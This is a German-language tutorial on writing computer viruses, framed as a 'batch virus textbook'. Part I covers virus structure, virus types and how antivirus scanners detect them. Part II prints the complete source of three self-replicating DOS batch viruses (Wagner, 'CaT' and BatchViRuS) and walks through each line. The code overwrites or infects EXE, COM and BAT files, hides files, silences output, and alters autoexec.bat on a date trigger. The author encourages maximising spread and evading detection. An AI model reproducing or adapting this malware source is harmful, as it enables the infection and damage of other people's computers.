Teil I - Generelle Informationen
Da ich in meiner Anfangszeit als Virenprogrammierer viele Probleme
damit hatte an vernünftige Tutorials heranzukommen, entschloss ich
mich nun ein eigenes zu schreiben. Ich entschied mich dafür es in
Deutsch zu schreiben, da es nur sehr wenige in dieser
Sprache gibt. Wie natürlich klar ist, ist dieses Handbuch nur für
Lehrzwecke einzusetzen und ich übernehme natürlich keine Haftung,
wenn ihr damit irgendetwas kriminelles anstellt...

Die folgenden Informationen beziehen sich auf Viren im Allgemeinen:
Im Jahre 1981 traten die ersten Viren auf, die noch sehr einfach
gestrickt waren, und nicht sehr destruktiv waren. Mittlerweile haben
sich die Programmierer aber immer bessere Tricks ausgedacht,
um den fiesen Antivirenprogrammen zu entgehen.
Ein Virus ist eigentlich immer nach folgendem Schema aufgebaut:
1.) Infectionsroutine, die für die Vermehrung sorgt
2.) Aktivierung. Hier wird festgelegt, wann sich der Virus meldet
3.) Handlung. Was soll er tun, HD löschen, Grüsse ausrichten ...?
Hier sollte ich vielleicht noch erwähnen, dass es nicht Ziel eines
Virus sein sollte, moeglichst viel zu zerstören, sondern sich möglichst
weit zu verbreiten !!!
Man unterscheidet folgende Virentypen:
- Dateiviren
Sie infizieren meistens COM oder EXE Dateien, seltener jedoch BAT
Dateien. (Und genau das wollen wir ändern)
Sie überschreiben Teile des Programms oder hängen sich
an dessen Ende und werden bei jedem Programmstart aktiv und
suchen dann nach weiteren Wirten.
- Makroviren
Makroviren nutzen die Makrosprache von Exel und Word und starten
automatisch beim oeffnen einer infizierten Datei. Etwa 70% aller
heutigen Viren sind Makroviren.
- Hoax Viren
Dies sind keine wirklichen Viren, aber Warnungen vor Phantasieviren,
die alles mögliche zerstoeren koennen. Allerdings werden diese
Nachrichten gerne weiterversand, um auch Freunde vor dem ach so
boesen Virus zu waren und verbreiten sich teilweise recht stark.
Virenscanner suchen diese Viren nach 3 Methoden. Die erste Methode
besteht darin, dass eine gewisse Zeichenfolge gesucht wird, von
der man weiss, dass sie nur in dem Virus vorkommt. Eine weitere Methode
sucht nach Virenähnlichen Kommandofolgen, liefert aber oft
Fehlalaerme. Die letzte Methode besteht darin, von jeder Datei die
Dateilänge zu speichern und bei einer Überprüfung mit der aktuellen
Dateilänge zu vergleichen. Aber mitlerweise gibt es Viren,
die die Prüfdateien gleich mitverändern ...
_ _
/ ` | | / |/ _ | _|_ /- / `
'- || |_| < /-` |_ | | |- '-
_/ | | | | | _, |_> | | _ _/
|
_|
Batch-Viren-Lehrbuch
Teil II - Hier habt ihr eure 'Sources'
Ich habe mich entschlossen eine Beschreibung von Batch Viren
anzufertigen, da diese am leichtesten zu verstehen sind, und keine
uebermaesigen Programmierkentnisse erfordern. Batch Viren infizieren
*.BAT programme, und können mit einem einfachen Text-Editor geschrieben
werden.
Zuallererst ein recht einfacher Virus, der sogenanne Wagner Virus
der von Black Wolf 1993 in Virology 101 praesentiert wurde.
@echo off
ctty nul
for %%f in (*.exe *.com) do set A=%%f
if %A%==COMMAND.COM set A=
rename %A% V%A%
if not exist V%A% goto end
attrib +h V%A%
copy %0.bat %A%
attrib +r %A%
ren %A% *.bat
set A=
:end
ctty con
@if exist V%0.com V%0.com %1 %2 %3
@if exist V%0.exe V%0.exe %1 %2 %3
Für alle totalen Neulinge gehe ich den Code nun Zeile für Zeile durch.
@echo off
Dieser Befehl bewirkt, dass die Befehle des Programmes beim ausführen
nicht angezeigt werden.
ctty nul
Hier werden alle Ausgaben ins Nichts geleitet. So das der 'Benutzer'
nicht sieht, dass Dateien kopiert wurden.
for %%f in (*.exe *.com) do set A=%%f
Hier werden alle EXE und COM Dateien und schreibt jede Datei in die
Variable A. Das bedeutet, dass am Ende die letzte, noch nicht
infizierte Datei in der Variable A gespeichert wird.
if %A%==COMMAND.COM set A=
Falls A die Datei Command.COM enthaelt, wird A Null gesetzt
rename %A% V%A%
Die gefundene Datei wird umbenannt in Vname
if not exist V%A% goto end
Sollte das Umbenennen schiefgegangen sein, wird zur Stelle :end
gesprungen und beendet
attrib +h V%A%
Die umbenannte Datei wird versteckt und somit nur durch Parameter
mit dem Befehl dir /a:h sichtbar, auserdem wird sie bei einer erneuten
Ausfuehrung des Programmes nicht noch einmal umbenannt.
copy %0.bat %A%
Der Virus (%0%) wird an die Stelle der COM Datei kopiert
attrib +r %A%
Nun wird die Datei vor dem Ueberschreiben geschuetzt
ren %A% *.bat
Nun noch eine Umbenennung in eine BAT Datei
set A=
Der Parameter A wird wieder geleert, um keine Spuren zu hinterlassen
:end
Hierher wird mit goto end gesprungen
ctty con
Die Ausgabe wird wieder auf den Bildschirm geleitet
@if exist V%0.com V%0.com %1 %2 %3
Falls die Ersetzte Datei eine COM Datei war, wird diese nun ausgeführt
@if exist V%0.exe V%0.exe %1 %2 %3
wie eben nur mit EXE Dateien
Dieser einfache Virus schnappt sich bei jedem Start eine EXE oder COM
Datei in seinem Verzeichnis und ersetzt sie durch eine Kopie von sich.
Danach wird die EXE/COM Datei wie gewohnt gestartet.
Ein anderer Virus, welcher BAT Dateien infiziert, soll hier auch noch
dargestellt werden. Er infiziert allerdings nur das Verzeichnis, in
dem er sich befindet, dort aber alle Dateien.
@echo off>nul.CaT
if '%1=='Inf goto CaTi
if exist c:!CaT.bat goto CaTs
if not exist %0.bat goto CaTe
find "CaT"<%0.bat>c:!CaT.bat
find "CaT" c:autoexec.bat >nul
if not errorlevel 1 goto CaTs
echo.|date|find "30">nul.CaTs
if errorlevel 1 goto CaTs
echo echo CaT KillS YouR SysteM ... ;-> >>c:Autoexec.bat
echo ctty nul >>c:autoexec.bat
:CaTs
For %%a in (*.bat) do call c:!CaT Inf %%a
goto CaTe
:CaTi
find "CaT"<%2>nul
if not errorlevel 1 goto CaTe
type c:!CaT.bat>CaT.t
echo echo CaT InFeCtEd YoUr SyStEm >>CaT.t
type %2>>CaT.t
move CaT.t %2>nul.CaT
attrib c:!CaT.bat +h +r +a
:CaTe
Erklärung der einzelnen Zeilen:
@echo off>nul.CaT
Die Anzeige der Befehle wird ausgeschaltet und eine Rückmeldung wird
nach nul.CaT geleitet
if '%1=='Inf goto CaTi
Sollte der Parameter %1 Inf sein, wird nach CaTi gesprungen
if exist c:!CaT.bat goto CaTs
Wenn die Datei c:!CaT.bat existiert wied nach CaTs gesprungen
find "CaT"<%0.bat>c:!CaT.bat
Die eigene Datei soll auf die Zeichenkette CaT durchsuchtwerden, und alle
Zeilen, die diese Zeichen enthalten werden nach !CaT.bat geschrieben.
Dort wird also ein Abbild des Viruscodes erzeugt.
find "CaT" c:autoexec.bat >nul
if not errorlevel 1 goto CaTs
Falls CaT in der Datei Autoexec.bat enthalten ist nach CaTs springen.
echo.|date|find "30">nul
if errorlevel 1 goto ende
Am 30. jedes Monats wird der Code weiter ausgefuehrt ansonsten nach CaTs
gesprungen.
echo echo CaT KillS YouR SysteM ... ;-> >>c:Autoexec.bat
echo ctty nul >>c:autoexec.bat
Andernfalls die Zeilen
echo CaT KillS YouR SysteM ... ;->
ctty nul
der Autoexec.bat hinzufügen, was alle totalen Versager aus dem Rennen
schmeißt, aber keine wirkliche Zerstörung anrichtet.
:CaTs
For %%a in (*.bat) do call c:!CaT Inf %%a
goto CaTe
Die Bat Datei !CaT wird nun für jede andere Bat Datei im Verzeichnis
ausgeführt. Danach wird zu CaTe gesprungen.
:CaTi
find "CaT"<%2>nul
if not errorlevel 1 goto CaTe
Untersuchung ob die angegebene Datei bereits infiziert ist, falls
ja wird an das Codeende gesprungen.
type c:!CaT.bat>CaT.t
type %2>>CaT.t
move CaT.t %2>nul.CaT
attrib c:!CaT.bat +h +r +a
Hier wird die Datei !Cat.bat kopiert, die infizierte Datei ans Ende
gehängt und die Ursprungsdatei wieder ersetzt. Danach wird die Datei
!Cat.bat versteckt.
:CaTe
Ende des Codes.
Noch ein anderer Batch - Virus, der auch im Pfad Verzeichnis nach
Opfern sucht.
@echo off>nul.ViRuS
rem ViRuS The BatchViRuS by Dirk van Deun 1994
rem ViRuS May be copied freely (On your own machine !)
rem ViRuS Programmed to prove that it's possible
rem ViRuS (and to show off skill in writing batchfiles)
rem ViRuS If you have no disk cache, you're not interested 
rem ViRuS E-mail hw41652@vub.ac.be
rem ViRuS Known bug: interpretation of variables may make lines too long
rem ViRuS for DOS and let characters drop off: unpredictable behaviour
if "%0==" echo --------------------------------------->con.ViRuS
if "%0==" echo | Hi ! I am the nice BatchViRuS ! |
if "%0==" echo --------------------------------------->con.ViRuS
if "%0==" goto ViRuS_OLDBAT
if "%1=="/ViRuS_MULTIPLY goto ViRuS_multiply
if "%1=="/ViRuS_PARSEPATH goto ViRuS_parsepath
if "%1=="/ViRuS_FINDSELF goto ViRuS_findself
if "%VOFF%=="T goto ViRuS_OLDBAT
set ViRuSname=%0
if not exist %0.bat command /e:10000 /c %0 /ViRuS_FINDSELF %path%
if not exist %0.bat call xViRuSx
if not exist %0.bat del xViRuSx.bat
if not exist %ViRuSname%.bat set ViRuSname=
if "%ViRuSname%==" goto ViRuS_OLDBAT
rem ViRuS if batch is started with name.BAT, virus will not become active
rem ViRuS it was a bug, now it's a feature ! (also notice the voff variable)
rem ViRuS also if batch was only in an append /x:on path (chance=minimal)
rem ViRuS or if environment is too small to contain %ViRuSname% !
if "%VPATH%==" set VPATH=%PATH%>nul.ViRuS
rem (if environment cannot hold VPATH, ViRuS will function partially)
command /e:10000 /c %0 /ViRuS_PARSEPATH %VPATH%
call xViRuSx
del xViRuSx.bat
if "%VPATH%==" set VPATH=.>nul.ViRuS
set ViRuSname=
goto ViRuS_OLDBAT
:ViRuS_findself
if "%2==" echo.>xViRuSx.bat
if "%2==" exit>nul.ViRuS
if exist %2%ViRuSname%.bat echo set ViRuSname=%2%ViRuSname%>xViRuSx.bat
if exist %2%ViRuSname%.bat exit
if exist %2%ViRuSname%.bat echo set ViRuSname=%2%ViRuSname%>xViRuSx.bat
if exist %2%ViRuSname%.bat exit
shift>nul.ViRuS
goto ViRuS_findself
:ViRuS_parsepath
for %%a in (%2*.bat;%2*.bat) do command /e:10000 /c %ViRuSname% /ViRuS_MULTIPLY %%a
for %%a in (%2*.bat;%2*.bat) do goto ViRuS_new_vpath
shift>nul.ViRuS
if not "%2==" goto ViRuS_parsepath
if not "%1==". for %%a in (.*.bat) do command /e:10000 /c %ViRuSname% /ViRuS_MULTIPLY %%a
:ViRuS_new_vpath
set VPATH=%3>nul.ViRuS
:ViRuS_loop
shift>nul.ViRuS
if "%3==" echo set VPATH=%VPATH%>xViRuSx.bat
if "%3==" exit>nul.ViRuS
set VPATH=%VPATH%;%3>nul.ViRuS
goto ViRuS_loop
:ViRuS_multiply
echo Checking: %2>con.ViRuS
find "SeT IchBin=%%0" <%2>xViRuSx.bat
call xViRuSx
del xViRuSx.bat
if "%IchBin%=="xViRuSx exit
find "ViRuS" <%ViRuSname%.bat>xViRuSx.bat
type %2>>xViRuSx.bat
copy xViRuSx.bat %2>nul
del xViRuSx.bat
echo Infecting: %2>con.ViRuS
exit>nul.ViRuS
rem data for the first find in ViRuS_multiply
SeT IchBin=%0>nul.ViRuS
:ViRuS_OLDBAT
echo on>nul.ViRuS
echo This is the dummy original batch
Das sollte an Batch-Viren reichen um die Grundkentnisse des Batch Viren Programmierens zu
verstehen. Es gibt zwar noch kompliziertere Batch Viren, die COM Dateien per Maschienencode
erzeugen und diese ausführen, oder ANSI Bomben enthalten aber diese sind meiner Ansicht nach
keine wirklichen Batch Viren mehr, sondern gehören eher in andere Tutorials.
Sollten noch Fragen zu dem Thema aufkommen, einfach noch ein paar andere Guides to XXXXX
downloaden oder einfach in eine Newsgroup posten.